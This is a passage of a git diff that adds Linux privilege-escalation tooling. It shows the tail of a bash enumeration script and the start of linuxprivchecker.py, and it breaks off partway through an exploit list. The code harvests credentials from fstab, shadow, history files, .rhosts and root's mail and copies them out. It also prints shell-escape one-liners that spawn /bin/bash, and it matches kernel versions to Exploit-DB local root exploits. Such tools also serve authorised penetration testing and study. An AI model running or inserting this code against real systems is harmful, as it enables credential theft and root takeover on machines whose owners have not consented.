'nmap\|perl\|'awk'\|'find'\|'bash'\|'sh'\|'man'\|'more'\|'less'\|'vi'\|'vim'\|'nc'\|'netcat'\|python\|ruby\|lua\|irb\|pl' | xargs -r ls -la` + if [ "$intguid" ]; then + echo -e "\e[00;33m***Possibly interesting GUID files:\e[00m\n$intguid" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null + else + : + fi + else + : +fi + +#lists world-writable guid files +if [ "$thorough" = "1" ]; then +wwguid=`find / -perm -2007 -type f 2>/dev/null` + if [ "$wwguid" ]; then + echo -e "\e[00;31mWorld-writable GUID files:\e[00m\n$wwguid" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null + else + : + fi + else + : +fi + +#lists world-writable guid files owned by root +if [ "$thorough" = "1" ]; then +wwguidrt=`find / -uid 0 -perm -2007 -type f 2>/dev/null` + if [ "$wwguidrt" ]; then + echo -e "\e[00;31mAWorld-writable GUID files owned by root:\e[00m\n$wwguidrt" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null + else + : + fi + else + : +fi + +#list all world-writable files excluding /proc +if [ "$thorough" = "1" ]; then +wwfiles=`find / ! -path "*/proc/*" -perm -2 -type f -print 2>/dev/null` + if [ "$wwfiles" ]; then + echo -e "\e[00;31mWorld-writable files (excluding /proc):\e[00m\n$wwfiles" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null + else + : + fi + else + : +fi + +if [ "$thorough" = "1" ]; then + if [ "$export" ] && [ "$wwfiles" ]; then + mkdir $format/ww-files/ 2>/dev/null + for i in $wwfiles; do cp --parents $i $format/ww-files/; done 2>/dev/null + else + : + fi + else + : +fi + +#are any .plan files accessible in /home (could contain useful information) +usrplan=`find /home -iname *.plan -exec ls -la {} \; -exec cat {} 2>/dev/null \;` +if [ "$usrplan" ]; then + echo -e "\e[00;31mPlan file permissions and contents:\e[00m\n$usrplan" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +if [ "$export" ] && [ "$usrplan" ]; then + mkdir $format/plan_files/ 2>/dev/null + for i in $usrplan; do cp --parents $i $format/plan_files/; done 2>/dev/null +else + : +fi + +bsdusrplan=`find /usr/home -iname *.plan -exec ls -la {} \; -exec cat {} 2>/dev/null \;` +if [ "$bsdusrplan" ]; then + echo -e "\e[00;31mPlan file permissions and contents:\e[00m\n$bsdusrplan" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +if [ "$export" ] && [ "$bsdusrplan" ]; then + mkdir $format/plan_files/ 2>/dev/null + for i in $bsdusrplan; do cp --parents $i $format/plan_files/; done 2>/dev/null +else + : +fi + +#are there any .rhosts files accessible - these may allow us to login as another user etc. +rhostsusr=`find /home -iname *.rhosts -exec ls -la {} 2>/dev/null \; -exec cat {} 2>/dev/null \;` +if [ "$rhostsusr" ]; then + echo -e "\e[00;31mrhost config file(s) and file contents:\e[00m\n$rhostsusr" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +if [ "$export" ] && [ "$rhostsusr" ]; then + mkdir $format/rhosts/ 2>/dev/null + for i in $rhostsusr; do cp --parents $i $format/rhosts/; done 2>/dev/null +else + : +fi + +bsdrhostsusr=`find /usr/home -iname *.rhosts -exec ls -la {} 2>/dev/null \; -exec cat {} 2>/dev/null \;` +if [ "$bsdrhostsusr" ]; then + echo -e "\e[00;31mrhost config file(s) and file contents:\e[00m\n$bsdrhostsusr" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +if [ "$export" ] && [ "$bsdrhostsusr" ]; then + mkdir $format/rhosts 2>/dev/null + for i in $bsdrhostsusr; do cp --parents $i $format/rhosts/; done 2>/dev/null +else + : +fi + +rhostssys=`find /etc -iname hosts.equiv -exec ls -la {} 2>/dev/null \; -exec cat {} 2>/dev/null \;` +if [ "$rhostssys" ]; then + echo -e "\e[00;31mHosts.equiv file details and file contents: \e[00m\n$rhostssys" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null + else + : +fi + +if [ "$export" ] && [ "$rhostssys" ]; then + mkdir $format/rhosts/ 2>/dev/null + for i in $rhostssys; do cp --parents $i $format/rhosts/; done 2>/dev/null +else + : +fi + +#list nfs shares/permisisons etc. +nfsexports=`ls -la /etc/exports 2>/dev/null; cat /etc/exports 2>/dev/null` +if [ "$nfsexports" ]; then + echo -e "\e[00;31mNFS config details: \e[00m\n$nfsexports" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null + else + : +fi + +if [ "$export" ] && [ "$nfsexports" ]; then + mkdir $format/etc-export/ 2>/dev/null + cp /etc/exports $format/etc-export/exports 2>/dev/null +else + : +fi + +#looking for credentials in /etc/fstab +fstab=`cat /etc/fstab 2>/dev/null |grep username |awk '{sub(/.*\username=/,"");sub(/\,.*/,"")}1'| xargs -r echo username:; cat /etc/fstab 2>/dev/null |grep password |awk '{sub(/.*\password=/,"");sub(/\,.*/,"")}1'| xargs -r echo password:; cat /etc/fstab 2>/dev/null |grep domain |awk '{sub(/.*\domain=/,"");sub(/\,.*/,"")}1'| xargs -r echo domain:` +if [ "$fstab" ]; then + echo -e "\e[00;33m***Looks like there are credentials in /etc/fstab!\e[00m\n$fstab" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null + else + : +fi + +if [ "$export" ] && [ "$fstab" ]; then + mkdir $format/etc-exports/ 2>/dev/null + cp /etc/fstab $format/etc-exports/fstab done 2>/dev/null +else + : +fi + +fstabcred=`cat /etc/fstab 2>/dev/null |grep cred |awk '{sub(/.*\credentials=/,"");sub(/\,.*/,"")}1'| xargs -I{} sh -c 'ls -la {}; cat {}'` +if [ "$fstabcred" ]; then + echo -e "\e[00;33m***/etc/fstab contains a credentials file!\e[00m\n$fstabcred" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null + else + : +fi + +if [ "$export" ] && [ "$fstabcred" ]; then + mkdir $format/etc-exports/ 2>/dev/null + cp /etc/fstab $format/etc-exports/fstab done 2>/dev/null +else + : +fi + +#use supplied keyword and cat *.conf files for potential matches - output will show line number within relevant file path where a match has been located +if [ "$keyword" = "" ]; then + echo -e "Can't search *.conf files as no keyword was entered\n" |tee -a $report 2>/dev/null + else + confkey=`find / -maxdepth 4 -name *.conf -type f -exec grep -Hn $keyword {} \; 2>/dev/null` + if [ "$confkey" ]; then + echo -e "\e[00;31mFind keyword ($keyword) in .conf files (recursive 4 levels - output format filepath:identified line number where keyword appears):\e[00m\n$confkey" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null + else + echo -e "\e[00;31mFind keyword ($keyword) in .conf files (recursive 4 levels):\e[00m" |tee -a $report 2>/dev/null + echo -e "'$keyword' not found in any .conf files" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null + fi +fi + +if [ "$keyword" = "" ]; then + : + else + if [ "$export" ] && [ "$confkey" ]; then + confkeyfile=`find / -maxdepth 4 -name *.conf -type f -exec grep -lHn $keyword {} \; 2>/dev/null` + mkdir --parents $format/keyword_file_matches/config_files/ 2>/dev/null + for i in $confkeyfile; do cp --parents $i $format/keyword_file_matches/config_files/ ; done 2>/dev/null + else + : + fi +fi + +#use supplied keyword and cat *.log files for potential matches - output will show line number within relevant file path where a match has been located +if [ "$keyword" = "" ];then + echo -e "Can't search *.log files as no keyword was entered\n" |tee -a $report 2>/dev/null + else + logkey=`find / -name *.log -type f -exec grep -Hn $keyword {} \; 2>/dev/null` + if [ "$logkey" ]; then + echo -e "\e[00;31mFind keyword ($keyword) in .log files (output format filepath:identified line number where keyword appears):\e[00m\n$logkey" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null + else + echo -e "\e[00;31mFind keyword ($keyword) in .log files (recursive 2 levels):\e[00m" |tee -a $report 2>/dev/null + echo -e "'$keyword' not found in any .log files" + echo -e "\n" |tee -a $report 2>/dev/null + fi +fi + +if [ "$keyword" = "" ];then + : + else + if [ "$export" ] && [ "$logkey" ]; then + logkeyfile=`find / -name *.log -type f -exec grep -lHn $keyword {} \; 2>/dev/null` + mkdir --parents $format/keyword_file_matches/log_files/ 2>/dev/null + for i in $logkeyfile; do cp --parents $i $format/keyword_file_matches/log_files/ ; done 2>/dev/null + else + : + fi +fi + +#use supplied keyword and cat *.ini files for potential matches - output will show line number within relevant file path where a match has been located +if [ "$keyword" = "" ];then + echo -e "Can't search *.ini files as no keyword was entered\n" |tee -a $report 2>/dev/null + else + inikey=`find / -maxdepth 4 -name *.ini -type f -exec grep -Hn $keyword {} \; 2>/dev/null` + if [ "$inikey" ]; then + echo -e "\e[00;31mFind keyword ($keyword) in .ini files (recursive 4 levels - output format filepath:identified line number where keyword appears):\e[00m\n$inikey" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null + else + echo -e "\e[00;31mFind keyword ($keyword) in .ini files (recursive 2 levels):\e[00m" |tee -a $report 2>/dev/null + echo -e "'$keyword' not found in any .ini files" |tee -a $report 2>/dev/null + echo -e "\n" + fi +fi + +if [ "$keyword" = "" ];then + : + else + if [ "$export" ] && [ "$inikey" ]; then + inikey=`find / -maxdepth 4 -name *.ini -type f -exec grep -lHn $keyword {} \; 2>/dev/null` + mkdir --parents $format/keyword_file_matches/ini_files/ 2>/dev/null + for i in $inikey; do cp --parents $i $format/keyword_file_matches/ini_files/ ; done 2>/dev/null + else + : + fi +fi + +#quick extract of .conf files from /etc - only 1 level +allconf=`find /etc/ -maxdepth 1 -name *.conf -type f -exec ls -la {} \; 2>/dev/null` +if [ "$allconf" ]; then + echo -e "\e[00;31mAll *.conf files in /etc (recursive 1 level):\e[00m\n$allconf" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +if [ "$export" ] && [ "$allconf" ]; then + mkdir $format/conf-files/ 2>/dev/null + for i in $allconf; do cp --parents $i $format/conf-files/; done 2>/dev/null +else + : +fi + +#extract any user history files that are accessible +usrhist=`ls -la ~/.*_history 2>/dev/null` +if [ "$usrhist" ]; then + echo -e "\e[00;31mCurrent user's history files:\e[00m\n$usrhist" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +if [ "$export" ] && [ "$usrhist" ]; then + mkdir $format/history_files/ 2>/dev/null + for i in $usrhist; do cp --parents $i $format/history_files/; done 2>/dev/null + else + : +fi + +#can we read roots *_history files - could be passwords stored etc. +roothist=`ls -la /root/.*_history 2>/dev/null` +if [ "$roothist" ]; then + echo -e "\e[00;33m***Root's history files are accessible!\e[00m\n$roothist" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +if [ "$export" ] && [ "$roothist" ]; then + mkdir $format/history_files/ 2>/dev/null + cp $roothist $format/history_files/ 2>/dev/null +else + : +fi + +#is there any mail accessible +readmail=`ls -la /var/mail 2>/dev/null` +if [ "$readmail" ]; then + echo -e "\e[00;31mAny interesting mail in /var/mail:\e[00m\n$readmail" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +#can we read roots mail +readmailroot=`head /var/mail/root 2>/dev/null` +if [ "$readmailroot" ]; then + echo -e "\e[00;33m***We can read /var/mail/root! (snippet below)\e[00m\n$readmailroot" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +if [ "$export" ] && [ "$readmailroot" ]; then + mkdir $format/mail-from-root/ 2>/dev/null + cp $readmailroot $format/mail-from-root/ 2>/dev/null +else + : +fi + +echo -e "\e[00;33m### SCAN COMPLETE ####################################\e[00m" |tee -a $report 2>/dev/null + +#EndOfScript diff --git a/privesc/linuxprivchecker.py b/privesc/linuxprivchecker.py new file mode 100755 index 0000000..d29f487 --- /dev/null +++ b/privesc/linuxprivchecker.py @@ -0,0 +1,372 @@ +#!/usr/env python + +############################################################################################################### +## [Title]: linuxprivchecker.py -- a Linux Privilege Escalation Check Script +## [Author]: Mike Czumak (T_v3rn1x) -- @SecuritySift +##------------------------------------------------------------------------------------------------------------- +## [Details]: +## This script is intended to be executed locally on a Linux box to enumerate basic system info and +## search for common privilege escalation vectors such as world writable files, misconfigurations, clear-text +## passwords and applicable exploits. +##------------------------------------------------------------------------------------------------------------- +## [Warning]: +## This script comes as-is with no promise of functionality or accuracy. I have no plans to maintain updates, +## I did not write it to be efficient and in some cases you may find the functions may not produce the desired +## results. For example, the function that links packages to running processes is based on keywords and will +## not always be accurate. Also, the exploit list included in this function will need to be updated over time. +## Feel free to change or improve it any way you see fit. +##------------------------------------------------------------------------------------------------------------- +## [Modification, Distribution, and Attribution]: +## You are free to modify and/or distribute this script as you wish. I only ask that you maintain original +## author attribution and not attempt to sell it or incorporate it into any commercial offering (as if it's +## worth anything anyway :) +############################################################################################################### + +# conditional import for older versions of python not compatible with subprocess +try: + import subprocess as sub + compatmode = 0 # newer version of python, no need for compatibility mode +except ImportError: + import os # older version of python, need to use os instead + compatmode = 1 + +# title / formatting +bigline = "=================================================================================================" +smlline = "-------------------------------------------------------------------------------------------------" + +print bigline +print "LINUX PRIVILEGE ESCALATION CHECKER" +print bigline +print + +# loop through dictionary, execute the commands, store the results, return updated dict +def execCmd(cmdDict): + for item in cmdDict: + cmd = cmdDict[item]["cmd"] + if compatmode == 0: # newer version of python, use preferred subprocess + out, error = sub.Popen([cmd], stdout=sub.PIPE, stderr=sub.PIPE, shell=True).communicate() + results = out.split('\n') + else: # older version of python, use os.popen + echo_stdout = os.popen(cmd, 'r') + results = echo_stdout.read().split('\n') + cmdDict[item]["results"]=results + return cmdDict + +# print results for each previously executed command, no return value +def printResults(cmdDict): + for item in cmdDict: + msg = cmdDict[item]["msg"] + results = cmdDict[item]["results"] + print "[+] " + msg + for result in results: + if result.strip() != "": + print " " + result.strip() + print + return + +def writeResults(msg, results): + f = open("privcheckout.txt", "a"); + f.write("[+] " + str(len(results)-1) + " " + msg) + for result in results: + if result.strip() != "": + f.write(" " + result.strip()) + f.close() + return + +# Basic system info +print "[*] GETTING BASIC SYSTEM INFO...\n" + +results=[] + +sysInfo = {"OS":{"cmd":"cat /etc/issue","msg":"Operating System","results":results}, + "KERNEL":{"cmd":"cat /proc/version","msg":"Kernel","results":results}, + "HOSTNAME":{"cmd":"hostname", "msg":"Hostname", "results":results} + } + +sysInfo = execCmd(sysInfo) +printResults(sysInfo) + +# Networking Info + +print "[*] GETTING NETWORKING INFO...\n" + +netInfo = {"NETINFO":{"cmd":"/sbin/ifconfig -a", "msg":"Interfaces", "results":results}, + "ROUTE":{"cmd":"route", "msg":"Route", "results":results}, + "NETSTAT":{"cmd":"netstat -antup | grep -v 'TIME_WAIT'", "msg":"Netstat", "results":results} + } + +netInfo = execCmd(netInfo) +printResults(netInfo) + +# File System Info +print "[*] GETTING FILESYSTEM INFO...\n" + +driveInfo = {"MOUNT":{"cmd":"mount","msg":"Mount results", "results":results}, + "FSTAB":{"cmd":"cat /etc/fstab 2>/dev/null", "msg":"fstab entries", "results":results} + } + +driveInfo = execCmd(driveInfo) +printResults(driveInfo) + +# Scheduled Cron Jobs +cronInfo = {"CRON":{"cmd":"ls -la /etc/cron* 2>/dev/null", "msg":"Scheduled cron jobs", "results":results}, + "CRONW": {"cmd":"ls -aRl /etc/cron* 2>/dev/null | awk '$1 ~ /w.$/' 2>/dev/null", "msg":"Writable cron dirs", "results":results} + } + +cronInfo = execCmd(cronInfo) +printResults(cronInfo) + +# User Info +print "\n[*] ENUMERATING USER AND ENVIRONMENTAL INFO...\n" + +userInfo = {"WHOAMI":{"cmd":"whoami", "msg":"Current User", "results":results}, + "ID":{"cmd":"id","msg":"Current User ID", "results":results}, + "ALLUSERS":{"cmd":"cat /etc/passwd", "msg":"All users", "results":results}, + "SUPUSERS":{"cmd":"grep -v -E '^#' /etc/passwd | awk -F: '$3 == 0{print $1}'", "msg":"Super Users Found:", "results":results}, + "HISTORY":{"cmd":"ls -la ~/.*_history; ls -la /root/.*_history 2>/dev/null", "msg":"Root and current user history (depends on privs)", "results":results}, + "ENV":{"cmd":"env 2>/dev/null | grep -v 'LS_COLORS'", "msg":"Environment", "results":results}, + "SUDOERS":{"cmd":"cat /etc/sudoers 2>/dev/null | grep -v '#' 2>/dev/null", "msg":"Sudoers (privileged)", "results":results}, + "LOGGEDIN":{"cmd":"w 2>/dev/null", "msg":"Logged in User Activity", "results":results} + } + +userInfo = execCmd(userInfo) +printResults(userInfo) + +if "root" in userInfo["ID"]["results"][0]: + print "[!] ARE YOU SURE YOU'RE NOT ROOT ALREADY?\n" + +# File/Directory Privs +print "[*] ENUMERATING FILE AND DIRECTORY PERMISSIONS/CONTENTS...\n" + +fdPerms = {"WWDIRSROOT":{"cmd":"find / \( -wholename '/home/homedir*' -prune \) -o \( -type d -perm -0002 \) -exec ls -ld '{}' ';' 2>/dev/null | grep root", "msg":"World Writeable Directories for User/Group 'Root'", "results":results}, + "WWDIRS":{"cmd":"find / \( -wholename '/home/homedir*' -prune \) -o \( -type d -perm -0002 \) -exec ls -ld '{}' ';' 2>/dev/null | grep -v root", "msg":"World Writeable Directories for Users other than Root", "results":results}, + "WWFILES":{"cmd":"find / \( -wholename '/home/homedir/*' -prune -o -wholename '/proc/*' -prune \) -o \( -type f -perm -0002 \) -exec ls -l '{}' ';' 2>/dev/null", "msg":"World Writable Files", "results":results}, + "SUID":{"cmd":"find / \( -perm -2000 -o -perm -4000 \) -exec ls -ld {} \; 2>/dev/null", "msg":"SUID/SGID Files and Directories", "results":results}, + "ROOTHOME":{"cmd":"ls -ahlR /root 2>/dev/null", "msg":"Checking if root's home folder is accessible", "results":results} + } + +fdPerms = execCmd(fdPerms) +printResults(fdPerms) + +pwdFiles = {"LOGPWDS":{"cmd":"find /var/log -name '*.log' 2>/dev/null | xargs -l10 egrep 'pwd|password' 2>/dev/null", "msg":"Logs containing keyword 'password'", "results":results}, + "CONFPWDS":{"cmd":"find /etc -name '*.c*' 2>/dev/null | xargs -l10 egrep 'pwd|password' 2>/dev/null", "msg":"Config files containing keyword 'password'", "results":results}, + "SHADOW":{"cmd":"cat /etc/shadow 2>/dev/null", "msg":"Shadow File (Privileged)", "results":results} + } + +pwdFiles = execCmd(pwdFiles) +printResults(pwdFiles) + +# Processes and Applications +print "[*] ENUMERATING PROCESSES AND APPLICATIONS...\n" + +if "debian" in sysInfo["KERNEL"]["results"][0] or "ubuntu" in sysInfo["KERNEL"]["results"][0]: + getPkgs = "dpkg -l | awk '{$1=$4=\"\"; print $0}'" # debian +else: + getPkgs = "rpm -qa | sort -u" # RH/other + +getAppProc = {"PROCS":{"cmd":"ps aux | awk '{print $1,$2,$9,$10,$11}'", "msg":"Current processes", "results":results}, + "PKGS":{"cmd":getPkgs, "msg":"Installed Packages", "results":results} + } + +getAppProc = execCmd(getAppProc) +printResults(getAppProc) # comment to reduce output + +otherApps = { "SUDO":{"cmd":"sudo -V | grep version 2>/dev/null", "msg":"Sudo Version (Check out http://www.exploit-db.com/search/?action=search&filter_page=1&filter_description=sudo)", "results":results}, + "APACHE":{"cmd":"apache2 -v; apache2ctl -M; httpd -v; apachectl -l 2>/dev/null", "msg":"Apache Version and Modules", "results":results}, + "APACHECONF":{"cmd":"cat /etc/apache2/apache2.conf 2>/dev/null", "msg":"Apache Config File", "results":results} + } + +otherApps = execCmd(otherApps) +printResults(otherApps) + +print "[*] IDENTIFYING PROCESSES AND PACKAGES RUNNING AS ROOT OR OTHER SUPERUSER...\n" + +# find the package information for the processes currently running +# under root or another super user + +procs = getAppProc["PROCS"]["results"] +pkgs = getAppProc["PKGS"]["results"] +supusers = userInfo["SUPUSERS"]["results"] +procdict = {} # dictionary to hold the processes running as super users + +for proc in procs: # loop through each process + relatedpkgs = [] # list to hold the packages related to a process + try: + for user in supusers: # loop through the known super users + if (user != "") and (user in proc): # if the process is being run by a super user + procname = proc.split(" ")[4] # grab the process name + if "/" in procname: + splitname = procname.split("/") + procname = splitname[len(splitname)-1] + for pkg in pkgs: # loop through the packages + if not len(procname) < 3: # name too short to get reliable package results + if procname in pkg: + if procname in procdict: + relatedpkgs = procdict[proc] # if already in the dict, grab its pkg list + if pkg not in relatedpkgs: + relatedpkgs.append(pkg) # add pkg to the list + procdict[proc]=relatedpkgs # add any found related packages to the process dictionary entry + except: + pass + +for key in procdict: + print " " + key # print the process name + try: + if not procdict[key][0] == "": # only print the rest if related packages were found + print " Possible Related Packages: " + for entry in procdict[key]: + print " " + entry # print each related package + except: + pass + +# EXPLOIT ENUMERATION + +# First discover the avaialable tools +print +print "[*] ENUMERATING INSTALLED LANGUAGES/TOOLS FOR SPLOIT BUILDING...\n" + +devTools = {"TOOLS":{"cmd":"which awk perl python ruby gcc cc vi vim nmap find netcat nc wget tftp ftp 2>/dev/null", "msg":"Installed Tools", "results":results}} +devTools = execCmd(devTools) +printResults(devTools) + +print "[+] Related Shell Escape Sequences...\n" +escapeCmd = {"vi":[":!bash", ":set shell=/bin/bash:shell"], "awk":["awk 'BEGIN {system(\"/bin/bash\")}'"], "perl":["perl -e 'exec \"/bin/bash\";'"], "find":["find / -exec /usr/bin/awk 'BEGIN {system(\"/bin/bash\")}' \\;"], "nmap":["--interactive"]} +for cmd in escapeCmd: + for result in devTools["TOOLS"]["results"]: + if cmd in result: + for item in escapeCmd[cmd]: + print " " + cmd + "-->\t" + item +print +print "[*] FINDING RELEVENT PRIVILEGE ESCALATION EXPLOITS...\n" + +# Now check for relevant exploits (note: this list should be updated over time; source: Exploit-DB) +# sploit format = sploit name : {minversion, maxversion, exploitdb#, language, {keywords for applicability}} -- current keywords are 'kernel', 'proc', 'pkg' (unused), and 'os' +sploits= { "2.2.x-2.4.x ptrace kmod local exploit":{"minver":"2.2", "maxver":"2.4.99", "exploitdb":"3", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, + "< 2.4.20 Module Loader Local Root Exploit":{"minver":"0", "maxver":"2.4.20", "exploitdb":"12", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, + "2.4.22 "'do_brk()'" local Root Exploit (PoC)":{"minver":"2.4.22", "maxver":"2.4.22", "exploitdb":"129", "lang":"asm", "keywords":{"loc":["kernel"], "val":"kernel"}}, + "<= 2.4.22 (do_brk) Local Root Exploit (working)":{"minver":"0", "maxver":"2.4.22", "exploitdb":"131", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, + "2.4.x mremap() bound checking Root Exploit":{"minver":"2.4", "maxver":"2.4.99", "exploitdb":"145", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, + "<= 2.4.29-rc2 uselib() Privilege Elevation":{"minver":"0", "maxver":"2.4.29", "exploitdb":"744", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, + "2.4 uselib() Privilege Elevation Exploit":{"minver":"2.4", "maxver":"2.4", "exploitdb":"778", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, + "2.4.x / 2.6.x uselib() Local Privilege Escalation Exploit":{"minver":"2.4", "maxver":"2.6.99", "exploitdb":"895", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, + "2.4/2.6 bluez Local Root Privilege Escalation Exploit (update)":{"minver":"2.4", "maxver":"2.6.99", "exploitdb":"926", "lang":"c", "keywords":{"loc":["proc","pkg"], "val":"bluez"}}, + "<= 2.6.11 (CPL 0) Local Root Exploit (k-rad3.c)":{"minver":"0", "maxver":"2.6.11", "exploitdb":"1397", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, + "MySQL 4.x/5.0 User-Defined Function Local Privilege Escalation Exploit":{"minver":"0", "maxver":"99", "exploitdb":"1518", "lang":"c", "keywords":{"loc":["proc","pkg"], "val":"mysql"}}, + "2.6.13 <= 2.6.17.4 sys_prctl() Local Root Exploit":{"minver":"2.6.13", "maxver":"2.6.17.4", "exploitdb":"2004", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, + "2.6.13 <= 2.6.17.4 sys_prctl() Local Root Exploit (2)":{"minver":"2.6.13", "maxver":"2.6.17.4", "exploitdb":"2005", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, + "2.6.13 <= 2.6.17.4 sys_prctl() Local Root Exploit (3)":{"minver":"2.6.13", "maxver":"2.6.17.4", "exploitdb":"2006", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, + "2.6.13 <= 2.6.17.4 sys_prctl() Local Root Exploit (4)":{"minver":"2.6.13", "maxver":"2.6.17.4", "exploitdb":"2011", "lang":"sh", "keywords":{"loc":["kernel"], "val":"kernel"}}, + "<= 2.6.17.4 (proc) Local Root Exploit":{"minver":"0", "maxver":"2.6.17.4", "exploitdb":"2013", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, + "2.6.13 <= 2.6.17.4 prctl() Local Root Exploit (logrotate)":{"minver":"2.6.13", "maxver":"2.6.17.4", "exploitdb":"2031", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, + "Ubuntu/Debian Apache 1.3.33/1.3.34 (CGI TTY) Local Root Exploit":{"minver":"4.10", "maxver":"7.04", "exploitdb":"3384", "lang":"c", "keywords":{"loc":["os"], "val":"debian"}}, + "Linux/Kernel 2.4/2.6 x86-64 System Call Emulation Exploit":{"minver":"2.4", "maxver":"2.6", "exploitdb":"4460", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, + "< 2.6.11.5 BLUETOOTH Stack Local Root Exploit":{"minver":"0", "maxver":"2.6.11.5", "exploitdb":"4756", "lang":"c", "keywords":{"loc":["proc","pkg"], "val":"bluetooth"}}, + "2.6.17 - 2.6.24.1 vmsplice Local Root Exploit":{"minver":"2.6.17", "maxver":"2.6.24.1", "exploitdb":"5092", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, + "2.6.23 - 2.6.24 vmsplice Local Root Exploit":{"minver":"2.6.23", "maxver":"2.6.24", "exploitdb":"5093", "lang":"c", "keywords":{"loc":["os"], "val":"debian"}}, + "Debian OpenSSL Predictable PRNG Bruteforce SSH Exploit":{"minver":"0", "maxver":"99", "exploitdb":"5720", "lang":"python", "keywords":{"loc":["os"], "val":"debian"}}, + "Linux Kernel < 2.6.22 ftruncate()/open() Local Exploit":{"minver":"0", "maxver":"2.6.22", "exploitdb":"6851", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, + "< 2.6.29 exit_notify() Local Privilege Escalation Exploit":{"minver":"0", "maxver":"2.6.29", "exploitdb":"8369", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, + "2.6 UDEV Local Privilege Escalation Exploit":{"minver":"2.6", "maxver":"2.6.99", "exploitdb":"8478", "lang":"c", "keywords":{"loc":["proc","pkg"], "val":"udev"}}, + "2.6 UDEV < 141 Local Privilege Escalation Exploit":{"minver":"2.6", "maxver":"2.6.99", "exploitdb":"8572", "lang":"c", "keywords":{"loc":["proc","pkg"], "val":"udev"}}, + "2.6.x ptrace_attach Local Privilege Escalation Exploit":{"minver":"2.6", "maxver":"2.6.99", "exploitdb":"8673", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, + "2.6.29 ptrace_attach() Local Root Race Condition Exploit":{"minver":"2.6.29", "maxver":"2.6.29", "exploitdb":"8678", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, + "Linux Kernel <=2.6.28.3 set_selection() UTF-8 Off By One Local Exploit":{"minver":"0", "maxver":"2.6.28.3", "exploitdb":"9083", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, + "Test Kernel Local Root Exploit 0day":{"minver":"2.6.18", "maxver":"2.6.30", "exploitdb":"9191", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, + "PulseAudio (setuid) Priv. Escalation Exploit (ubu/9.04)(slack/12.2.0)":{"minver":"2.6.9", "maxver":"2.6.30", "exploitdb":"9208", "lang":"c", "keywords":{"loc":["pkg"], "val":"pulse"}}, + "2.x sock_sendpage() Local Ring0 Root Exploit":{"minver":"2", "maxver":"2.99", "exploitdb":"9435", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, + "2.x sock_sendpage() Local Root Exploit 2":{"minver":"2", "maxver":"2.99", "exploitdb":"9436", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, + "2.4/2.6 sock_sendpage() ring0 Root Exploit (simple ver)":{"minver":"2.4", "maxver":"2.6.99", "exploitdb":"9479", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, + "2.6 < 2.6.19 (32bit) ip_append_data() ring0 Root Exploit":{"minver":"2.6", "maxver":"2.6.19", "exploitdb":"9542", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, + "2.4/2.6 sock_sendpage() Local Root Exploit (ppc)":{"minver":"2.4", "maxver":"2.6.99", "exploitdb":"9545", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, + "< 2.6.19 udp_sendmsg Local Root Exploit (x86/x64)":{"minver":"0", "maxver":"2.6.19", "exploitdb":"9574", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, + "< 2.6.19 udp_sendmsg Local Root Exploit":{"minver":"0", "maxver":"2.6.19", "exploitdb":"9575", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, + "2.4/2.6 sock_sendpage() Local Root Exploit [2]":{"minver":"2.4", "maxver":"2.6.99", "exploitdb":"9598", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, + "2.4/2.6 sock_sendpage() Local Root Exploit [3]":{"minver":"2.4", "maxver":"2.6.99", 